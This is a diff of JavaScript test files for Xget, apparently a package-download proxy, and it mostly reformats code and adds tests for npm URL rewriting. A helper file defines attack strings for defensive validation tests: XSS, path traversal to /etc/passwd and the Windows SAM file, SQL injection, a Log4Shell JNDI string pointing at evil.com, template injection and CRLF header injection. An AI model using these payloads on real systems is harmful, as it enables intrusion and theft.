} else if (path.includes('/conda/') && path.includes('repodata.json')) {
resolve(createMockResponse(MOCK_RESPONSES.conda.repodata));
} else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) {
resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed));
} else if (path.length > 2048) {
resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong));
} else {
resolve(createMockResponse(MOCK_RESPONSES.errors.notFound));
}
},
Math.random() * 50 + 10
); // 10-60ms delay
});
}
}
+38 -16
View File
@@ -13,7 +13,7 @@ export function createMockRequest(url, options = {}) {
method: 'GET',
headers: {
'User-Agent': 'Mozilla/5.0 (Test)',
'Accept': '*/*'
Accept: '*/*'
}
};
@@ -45,9 +45,7 @@ export function createMockResponse(body = 'OK', options = {}) {
* @returns {Request} Git request object
*/
export function createGitRequest(url, service = 'git-upload-pack') {
const gitUrl = url.includes('?')
? `${url}&service=${service}`
: `${url}?service=${service}`;
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
return new Request(gitUrl, {
method: service === 'git-upload-pack' ? 'GET' : 'POST',
@@ -97,7 +95,10 @@ export const TEST_URLS = {
npm: {
package: 'https://example.com/npm/react',
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
scoped: 'https://example.com/npm/@types/node'
scoped: 'https://example.com/npm/@types/node',
// Test case for the specific npm package that caused the issue
npmPackage: 'https://example.com/npm/npm',
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
},
pypi: {
simple: 'https://example.com/pypi/simple/requests/',
@@ -119,7 +120,7 @@ export const SECURITY_PAYLOADS = {
'<script>alert(1)</script>',
'javascript:alert(1)',
'"><script>alert(1)</script>',
'\';alert(1);//'
"';alert(1);//"
],
pathTraversal: [
'../../../etc/passwd',
@@ -127,12 +128,7 @@ export const SECURITY_PAYLOADS = {
'..\\..\\..\\windows\\system32\\config\\sam',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
],
injection: [
'\'; DROP TABLE users; --',
'${jndi:ldap://evil.com}',
'{{7*7}}',
'<%=7*7%>'
],
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
headerInjection: [
'value\r\nX-Injected: malicious',
'value\nX-Injected: malicious',
@@ -158,13 +154,13 @@ export class PerformanceTestHelper {
const start = performance.now();
const result = await fn();
const end = performance.now();
this.measurements.push({
name,
duration: end - start,
timestamp: Date.now()
});
return result;
}
@@ -184,7 +180,7 @@ export class PerformanceTestHelper {
getAverageDuration(name) {
const filtered = this.measurements.filter(m => m.name === name);
if (filtered.length === 0) return 0;
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
return total / filtered.length;
}
@@ -218,6 +214,32 @@ export function mockFetch(url, options = {}) {
});
}
/**
* Create a mock npm registry response
* @param {string} packageName - Package name
* @param {string} version - Package version
* @returns {Object} Mock npm registry response
*/
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
return {
name: packageName,
versions: {
[version]: {
name: packageName,
version: version,
dist: {
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
shasum: 'mock-shasum',
integrity: 'mock-integrity'
}
}
},
'dist-tags': {
latest: version
}
};
}
/**
* Validate response headers for security
* @param {Response} response - Response to validate
@@ -311,4 +333,4 @@ export function timeout(ms) {
*/
export function wait(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
}
+77 -25
View File
@@ -21,7 +21,7 @@ describe('Xget Core Functionality', () => {
it('should include security headers in all responses', async () => {
const response = await SELF.fetch('https://example.com/');
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
@@ -34,7 +34,7 @@ describe('Xget Core Functionality', () => {
it('should handle GitHub URLs correctly', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitHub
expect(response.status).not.toBe(400);
});
@@ -42,7 +42,7 @@ describe('Xget Core Functionality', () => {
it('should handle GitLab URLs correctly', async () => {
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitLab
expect(response.status).not.toBe(400);
});
@@ -50,7 +50,7 @@ describe('Xget Core Functionality', () => {
it('should handle Hugging Face URLs correctly', async () => {
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to Hugging Face
expect(response.status).not.toBe(400);
});
@@ -58,7 +58,7 @@ describe('Xget Core Functionality', () => {
it('should handle npm URLs correctly', async () => {
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to npm
expect(response.status).not.toBe(400);
});
@@ -66,15 +66,16 @@ describe('Xget Core Functionality', () => {
it('should handle PyPI URLs correctly', async () => {
const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to PyPI
expect(response.status).not.toBe(400);
});
it('should handle conda URLs correctly', async () => {
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';
const testUrl =
'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to conda
expect(response.status).not.toBe(400);
});
@@ -85,7 +86,7 @@ describe('Xget Core Functionality', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'GET'
});
expect(response.status).not.toBe(405);
});
@@ -93,7 +94,7 @@ describe('Xget Core Functionality', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
expect(response.status).not.toBe(405);
});
@@ -101,7 +102,7 @@ describe('Xget Core Functionality', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'PUT'
});
expect(response.status).toBe(405);
});
@@ -109,7 +110,7 @@ describe('Xget Core Functionality', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'DELETE'
});
expect(response.status).toBe(405);
});
});
@@ -123,7 +124,7 @@ describe('Xget Core Functionality', () => {
'User-Agent': 'git/2.34.1'
}
});
expect(response.status).not.toBe(405);
});
@@ -135,18 +136,21 @@ describe('Xget Core Functionality', () => {
'User-Agent': 'git/2.34.1'
}
});
expect(response.status).not.toBe(405);
});
it('should handle Git info/refs requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', {
method: 'GET',
headers: {
'User-Agent': 'git/2.34.1'
const response = await SELF.fetch(
'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack',
{
method: 'GET',
headers: {
'User-Agent': 'git/2.34.1'
}
}
});
);
expect(response.status).not.toBe(405);
});
});
@@ -155,14 +159,14 @@ describe('Xget Core Functionality', () => {
it('should reject extremely long paths', async () => {
const longPath = '/gh/' + 'a'.repeat(3000);
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
});
it('should accept normal length paths', async () => {
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
const response = await SELF.fetch(`https://example.com${normalPath}`);
expect(response.status).not.toBe(414);
});
});
@@ -170,15 +174,63 @@ describe('Xget Core Functionality', () => {
describe('Performance Headers', () => {
it('should include performance metrics in response headers', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should include valid JSON in performance metrics', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
const metricsHeader = response.headers.get('X-Performance-Metrics');
expect(() => JSON.parse(metricsHeader)).not.toThrow();
});
});
});
describe('URL Rewriting', () => {
it('should rewrite npm registry URLs in JSON responses', async () => {
// Mock npm package metadata request
const testUrl = 'https://example.com/npm/lodash';
const response = await SELF.fetch(testUrl);
// This test would need actual npm registry response mocking
// For now, just verify the request doesn't fail
expect([200, 301, 302, 404, 500]).toContain(response.status);
});
it('should preserve npm tarball URL structure', async () => {
// Test that npm tarball URLs follow the correct pattern
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy correctly
expect(response.status).not.toBe(400);
});
it('should correctly rewrite npm URLs to preserve package names', () => {
// Test the regex replacement logic directly
const mockOriginalText = JSON.stringify({
name: 'npm',
versions: {
'11.5.1': {
dist: {
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
}
}
}
});
// Simulate the regex replacement that happens in the code
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
`https://xget.xi-xu.me/npm/$1`
);
const rewrittenData = JSON.parse(rewrittenText);
// Verify the URL is correctly rewritten with package name preserved
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
);
});
});
});
+37 -35
View File
@@ -6,10 +6,10 @@ describe('Integration Tests', () => {
it('should proxy GitHub file requests correctly', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitHub
expect([200, 301, 302, 404]).toContain(response.status);
// Should include security headers
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
@@ -18,21 +18,22 @@ describe('Integration Tests', () => {
it('should handle GitHub raw file requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle GitHub release downloads', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz';
const testUrl =
'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should proxy GitLab file requests correctly', async () => {
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
@@ -40,41 +41,42 @@ describe('Integration Tests', () => {
it('should handle Hugging Face model files', async () => {
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle npm package requests', async () => {
const testUrl = 'https://example.com/npm/react';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle PyPI package requests', async () => {
const testUrl = 'https://example.com/pypi/simple/requests/';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle conda package requests', async () => {
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
});
describe('Git Protocol Integration', () => {
it('should handle Git info/refs requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';
const testUrl =
'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git/2.34.1'
}
});
expect([200, 301, 302, 404]).toContain(response.status);
});
@@ -88,7 +90,7 @@ describe('Integration Tests', () => {
},
body: '0000' // Minimal Git protocol data
});
expect([200, 301, 302, 400, 404]).toContain(response.status);
});
@@ -100,7 +102,7 @@ describe('Integration Tests', () => {
'Git-Protocol': 'version=2'
}
});
// Should not reject Git-specific headers
expect(response.status).not.toBe(400);
});
@@ -109,31 +111,31 @@ describe('Integration Tests', () => {
describe('Caching Integration', () => {
it('should cache responses appropriately', async () => {
const testUrl = 'https://example.com/gh/test/repo/static-file.txt';
// First request
const response1 = await SELF.fetch(testUrl);
const metrics1 = response1.headers.get('X-Performance-Metrics');
// Second request (should potentially hit cache)
const response2 = await SELF.fetch(testUrl);
const metrics2 = response2.headers.get('X-Performance-Metrics');
expect(metrics1).toBeTruthy();
expect(metrics2).toBeTruthy();
// Both requests should succeed
expect(response1.status).toBe(response2.status);
});
it('should not cache Git protocol requests', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git/2.34.1'
}
});
// Git requests should not be cached (no cache headers)
expect(response.headers.get('Cache-Control')).not.toContain('max-age=1800');
});
@@ -143,7 +145,7 @@ describe('Integration Tests', () => {
it('should handle upstream server errors gracefully', async () => {
const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt';
const response = await SELF.fetch(testUrl);
// Should handle 404 from upstream gracefully
expect([404, 502, 503]).toContain(response.status);
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
@@ -155,7 +157,7 @@ describe('Integration Tests', () => {
// with a mock server that delays responses.
const testUrl = 'https://example.com/gh/test/repo/file.txt';
const response = await SELF.fetch(testUrl);
// Should complete within reasonable time
expect(response.status).toBeDefined();
});
@@ -164,7 +166,7 @@ describe('Integration Tests', () => {
// Test retry mechanism by checking performance metrics
const testUrl = 'https://example.com/gh/test/unreliable-endpoint';
const response = await SELF.fetch(testUrl);
const metricsHeader = response.headers.get('X-Performance-Metrics');
if (metricsHeader) {
const metrics = JSON.parse(metricsHeader);
@@ -178,12 +180,12 @@ describe('Integration Tests', () => {
it('should complete requests within reasonable time', async () => {
const startTime = Date.now();
const testUrl = 'https://example.com/gh/test/repo/small-file.txt';
const response = await SELF.fetch(testUrl);
const endTime = Date.now();
const duration = endTime - startTime;
// Should complete within 30 seconds (timeout limit)
expect(duration).toBeLessThan(30000);
expect(response.status).toBeDefined();
@@ -198,7 +200,7 @@ describe('Integration Tests', () => {
'https://example.com/pypi/simple/test/',
'https://example.com/conda/pkgs/main/test.json'
];
for (const url of testUrls) {
const response = await SELF.fetch(url, { method: 'HEAD' });
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
@@ -214,10 +216,10 @@ describe('Integration Tests', () => {
{ url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' },
{ url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' }
];
for (const testCase of testCases) {
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
if (response.status === 200) {
const contentType = response.headers.get('Content-Type');
if (contentType) {
@@ -233,13 +235,13 @@ describe('Integration Tests', () => {
const testUrl = 'https://example.com/gh/test/repo/large-file.zip';
const response = await SELF.fetch(testUrl, {
headers: {
'Range': 'bytes=0-1023'
Range: 'bytes=0-1023'
}
});
// Should either support range requests (206) or return full content (200)
expect([200, 206, 404]).toContain(response.status);
if (response.status === 206) {
expect(response.headers.get('Content-Range')).toBeTruthy();
}
@@ -252,11 +254,11 @@ describe('Integration Tests', () => {
'https://example.com/gh/test/repo/README.md',
'https://example.com/gl/test/repo/README.md'
];
const responses = await Promise.all(
testCases.map(url => SELF.fetch(url, { method: 'HEAD' }))
);
// All responses should have consistent security headers
responses.forEach(response => {
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
@@ -264,4 +266,4 @@ describe('Integration Tests', () => {
});
});
});
});
});
+82
View File
@@ -0,0 +1,82 @@
import { describe, expect, it } from 'vitest';
describe('npm URL Rewriting Fix', () => {
it('should correctly rewrite npm registry URLs to preserve package names', () => {
const mockOriginalText = JSON.stringify({
name: 'npm',
versions: {
'11.5.1': {
dist: {
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
}
}
}
});
// Simulate the regex replacement that happens in the code
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
`https://xget.xi-xu.me/npm/$1`
);
const rewrittenData = JSON.parse(rewrittenText);
// Verify the URL is correctly rewritten
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
);
});
it('should handle scoped packages correctly', () => {
const mockOriginalText = JSON.stringify({
name: '@types/node',
versions: {
'20.0.0': {
dist: {
tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz'
}
}
}
});
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
`https://xget.xi-xu.me/npm/$1`
);
const rewrittenData = JSON.parse(rewrittenText);
expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz'
);
});
it('should handle multiple URLs in the same JSON response', () => {
const mockOriginalText = JSON.stringify({
dist: {
tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz'
},
dependencies: {
dep: {
dist: {
tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz'
}
}
}
});
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
`https://xget.xi-xu.me/npm/$1`
);
const rewrittenData = JSON.parse(rewrittenText);
expect(rewrittenData.dist.tarball).toBe(
'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz'
);
expect(rewrittenData.dependencies.dep.dist.tarball).toBe(
'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz'
);
});
});
+32 -32
View File
@@ -34,7 +34,7 @@ describe('Performance Monitoring', () => {
it('should create timing marks', () => {
monitor.mark('test-mark');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('test-mark');
expect(typeof metrics['test-mark']).toBe('number');
@@ -44,7 +44,7 @@ describe('Performance Monitoring', () => {
monitor.mark('mark1');
monitor.mark('mark2');
monitor.mark('mark3');
const metrics = monitor.getMetrics();
expect(Object.keys(metrics)).toHaveLength(3);
expect(metrics).toHaveProperty('mark1');
@@ -57,19 +57,19 @@ describe('Performance Monitoring', () => {
const originalWarn = console.warn;
const mockWarn = vi ? vi.fn() : jest.fn();
console.warn = mockWarn;
monitor.mark('duplicate');
monitor.mark('duplicate');
expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.');
// Restore original console.warn
console.warn = originalWarn;
});
it('should return metrics as plain object', () => {
monitor.mark('test');
const metrics = monitor.getMetrics();
expect(metrics).toBeTypeOf('object');
expect(Array.isArray(metrics)).toBe(false);
@@ -77,12 +77,12 @@ describe('Performance Monitoring', () => {
it('should track elapsed time correctly', async () => {
monitor.mark('start');
// Wait a small amount of time
await new Promise(resolve => setTimeout(resolve, 10));
monitor.mark('end');
const metrics = monitor.getMetrics();
expect(metrics.end).toBeGreaterThan(metrics.start);
});
@@ -94,18 +94,18 @@ describe('Performance Monitoring', () => {
monitor.mark('proxy-start');
monitor.mark('proxy-end');
monitor.mark('request-end');
const metrics = monitor.getMetrics();
expect(() => JSON.stringify(metrics)).not.toThrow();
});
it('should have reasonable timing values', () => {
monitor.mark('test-mark');
const metrics = monitor.getMetrics();
const timing = metrics['test-mark'];
// Should be a positive number and reasonable (less than 1 second for this test)
expect(timing).toBeGreaterThanOrEqual(0);
expect(timing).toBeLessThan(1000);
@@ -117,9 +117,9 @@ describe('Performance Monitoring', () => {
monitor.mark('second');
await new Promise(resolve => setTimeout(resolve, 5));
monitor.mark('third');
const metrics = monitor.getMetrics();
expect(metrics.first).toBeLessThan(metrics.second);
expect(metrics.second).toBeLessThan(metrics.third);
});
@@ -133,9 +133,9 @@ describe('Performance Monitoring', () => {
monitor.mark('proxy-start');
monitor.mark('proxy-response');
monitor.mark('response-sent');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('request-received');
expect(metrics).toHaveProperty('validation-complete');
expect(metrics).toHaveProperty('proxy-start');
@@ -148,9 +148,9 @@ describe('Performance Monitoring', () => {
monitor.mark('cache-miss');
monitor.mark('upstream-request');
monitor.mark('cache-store');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('cache-check-start');
expect(metrics).toHaveProperty('cache-miss');
expect(metrics).toHaveProperty('upstream-request');
@@ -161,9 +161,9 @@ describe('Performance Monitoring', () => {
monitor.mark('request-start');
monitor.mark('error-occurred');
monitor.mark('error-handled');
const metrics = monitor.getMetrics();
expect(metrics).toHaveProperty('request-start');
expect(metrics).toHaveProperty('error-occurred');
expect(metrics).toHaveProperty('error-handled');
@@ -173,24 +173,24 @@ describe('Performance Monitoring', () => {
describe('Performance Thresholds', () => {
it('should identify slow operations', () => {
monitor.mark('operation-start');
// Simulate slow operation
const slowTiming = 5000; // 5 seconds
monitor.marks.set('operation-end', slowTiming);
const metrics = monitor.getMetrics();
const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0);
// Should identify as slow (> 1 second)
expect(operationTime).toBeGreaterThan(1000);
});
it('should identify fast operations', () => {
monitor.mark('fast-operation');
const metrics = monitor.getMetrics();
const timing = metrics['fast-operation'];
// Should be fast (< 100ms for this test)
expect(timing).toBeLessThan(100);
});
@@ -199,14 +199,14 @@ describe('Performance Monitoring', () => {
describe('Memory and Resource Usage', () => {
it('should not leak memory with many marks', () => {
const initialSize = monitor.marks.size;
// Add many marks
for (let i = 0; i < 1000; i++) {
monitor.mark(`mark-${i}`);
}
expect(monitor.marks.size).toBe(initialSize + 1000);
// Clear marks (if such method existed)
monitor.marks.clear();
expect(monitor.marks.size).toBe(0);
@@ -214,7 +214,7 @@ describe('Performance Monitoring', () => {
it('should handle concurrent mark operations', () => {
const promises = [];
for (let i = 0; i < 10; i++) {
promises.push(
new Promise(resolve => {
@@ -225,11 +225,11 @@ describe('Performance Monitoring', () => {
})
);
}
return Promise.all(promises).then(() => {
const metrics = monitor.getMetrics();
expect(Object.keys(metrics)).toHaveLength(10);
});
});
});
});
});
+44 -43
View File
@@ -5,7 +5,7 @@ describe('Platform Configuration', () => {
describe('Platform Definitions', () => {
it('should have all required platforms defined', () => {
const requiredPlatforms = ['gh', 'gl', 'hf', 'npm', 'pypi', 'conda'];
requiredPlatforms.forEach(platform => {
expect(PLATFORMS).toHaveProperty(platform);
expect(PLATFORMS[platform]).toBeDefined();
@@ -30,12 +30,12 @@ describe('Platform Configuration', () => {
describe('GitHub Platform', () => {
it('should transform GitHub paths correctly', () => {
const transform = PLATFORMS.gh.transform;
expect(transform('/gh/microsoft/vscode/archive/main.zip'))
.toBe('/microsoft/vscode/archive/main.zip');
expect(transform('/gh/user/repo.git'))
.toBe('/user/repo.git');
expect(transform('/gh/microsoft/vscode/archive/main.zip')).toBe(
'/microsoft/vscode/archive/main.zip'
);
expect(transform('/gh/user/repo.git')).toBe('/user/repo.git');
});
it('should have correct base URL', () => {
@@ -46,9 +46,10 @@ describe('Platform Configuration', () => {
describe('GitLab Platform', () => {
it('should transform GitLab paths correctly', () => {
const transform = PLATFORMS.gl.transform;
expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'))
.toBe('/gitlab-org/gitlab/-/archive/master/gitlab-master.zip');
expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip')).toBe(
'/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'
);
});
it('should have correct base URL', () => {
@@ -59,12 +60,14 @@ describe('Platform Configuration', () => {
describe('Hugging Face Platform', () => {
it('should transform Hugging Face paths correctly', () => {
const transform = PLATFORMS.hf.transform;
expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json'))
.toBe('/microsoft/DialoGPT-medium/resolve/main/config.json');
expect(transform('/hf/datasets/squad/resolve/main/train.json'))
.toBe('/datasets/squad/resolve/main/train.json');
expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json')).toBe(
'/microsoft/DialoGPT-medium/resolve/main/config.json'
);
expect(transform('/hf/datasets/squad/resolve/main/train.json')).toBe(
'/datasets/squad/resolve/main/train.json'
);
});
it('should have correct base URL', () => {
@@ -75,12 +78,10 @@ describe('Platform Configuration', () => {
describe('npm Platform', () => {
it('should transform npm paths correctly', () => {
const transform = PLATFORMS.npm.transform;
expect(transform('/npm/react/-/react-18.2.0.tgz'))
.toBe('/react/-/react-18.2.0.tgz');
expect(transform('/npm/lodash'))
.toBe('/lodash');
expect(transform('/npm/react/-/react-18.2.0.tgz')).toBe('/react/-/react-18.2.0.tgz');
expect(transform('/npm/lodash')).toBe('/lodash');
});
it('should have correct base URL', () => {
@@ -91,12 +92,12 @@ describe('Platform Configuration', () => {
describe('PyPI Platform', () => {
it('should transform PyPI paths correctly', () => {
const transform = PLATFORMS.pypi.transform;
expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz'))
.toBe('/packages/source/r/requests/requests-2.31.0.tar.gz');
expect(transform('/pypi/simple/requests/'))
.toBe('/simple/requests/');
expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz')).toBe(
'/packages/source/r/requests/requests-2.31.0.tar.gz'
);
expect(transform('/pypi/simple/requests/')).toBe('/simple/requests/');
});
it('should have correct base URL', () => {
@@ -107,16 +108,18 @@ describe('Platform Configuration', () => {
describe('conda Platform', () => {
it('should transform conda default channel paths correctly', () => {
const transform = PLATFORMS.conda.transform;
expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda'))
.toBe('/pkgs/main/linux-64/numpy-1.24.3.conda');
expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda')).toBe(
'/pkgs/main/linux-64/numpy-1.24.3.conda'
);
});
it('should transform conda community channel paths correctly', () => {
const transform = PLATFORMS.conda.transform;
expect(transform('/conda/community/conda-forge/linux-64/repodata.json'))
.toBe('/conda-forge/linux-64/repodata.json');
expect(transform('/conda/community/conda-forge/linux-64/repodata.json')).toBe(
'/conda-forge/linux-64/repodata.json'
);
});
it('should have correct base URLs', () => {
@@ -141,16 +144,14 @@ describe('Platform Configuration', () => {
it('should handle paths with query parameters', () => {
const transform = PLATFORMS.gh.transform;
expect(transform('/gh/user/repo/file.txt?ref=main'))
.toBe('/user/repo/file.txt?ref=main');
expect(transform('/gh/user/repo/file.txt?ref=main')).toBe('/user/repo/file.txt?ref=main');
});
it('should handle paths with fragments', () => {
const transform = PLATFORMS.gh.transform;
expect(transform('/gh/user/repo/README.md#section'))
.toBe('/user/repo/README.md#section');
expect(transform('/gh/user/repo/README.md#section')).toBe('/user/repo/README.md#section');
});
});
@@ -160,7 +161,7 @@ describe('Platform Configuration', () => {
const testPath = `/${key}/test/path`;
const transformedPath = config.transform(testPath);
const fullUrl = config.base + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
});
});
@@ -170,9 +171,9 @@ describe('Platform Configuration', () => {
const communityPath = '/conda/community/conda-forge/test';
const transformedPath = config.transform(communityPath);
const fullUrl = config.communityBase + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
expect(fullUrl).toContain('conda.anaconda.org');
});
});
});
});
+28 -28
View File
@@ -5,7 +5,7 @@ describe('Security Features', () => {
describe('Security Headers', () => {
it('should include Strict-Transport-Security header', async () => {
const response = await SELF.fetch('https://example.com/');
const hsts = response.headers.get('Strict-Transport-Security');
expect(hsts).toBeTruthy();
expect(hsts).toContain('max-age=');
@@ -15,19 +15,19 @@ describe('Security Features', () => {
it('should include X-Frame-Options header', async () => {
const response = await SELF.fetch('https://example.com/');
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
});
it('should include X-XSS-Protection header', async () => {
const response = await SELF.fetch('https://example.com/');
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
});
it('should include Content-Security-Policy header', async () => {
const response = await SELF.fetch('https://example.com/');
const csp = response.headers.get('Content-Security-Policy');
expect(csp).toBeTruthy();
expect(csp).toContain("default-src 'none'");
@@ -35,13 +35,13 @@ describe('Security Features', () => {
it('should include Referrer-Policy header', async () => {
const response = await SELF.fetch('https://example.com/');
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
});
it('should include Permissions-Policy header', async () => {
const response = await SELF.fetch('https://example.com/');
const permissionsPolicy = response.headers.get('Permissions-Policy');
expect(permissionsPolicy).toBeTruthy();
expect(permissionsPolicy).toContain('interest-cohort=()');
@@ -53,7 +53,7 @@ describe('Security Features', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'PATCH'
});
expect(response.status).toBe(405);
});
@@ -61,7 +61,7 @@ describe('Security Features', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'PUT'
});
expect(response.status).toBe(405);
});
@@ -69,7 +69,7 @@ describe('Security Features', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'DELETE'
});
expect(response.status).toBe(405);
});
@@ -77,7 +77,7 @@ describe('Security Features', () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'OPTIONS'
});
expect(response.status).toBe(405);
});
});
@@ -101,7 +101,7 @@ describe('Security Features', () => {
it('should reject extremely long paths', async () => {
const longPath = '/gh/' + 'a'.repeat(3000);
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
});
@@ -124,7 +124,7 @@ describe('Security Features', () => {
it('should handle special characters in paths', async () => {
const specialPaths = [
'/gh/user/repo<script>alert(1)</script>',
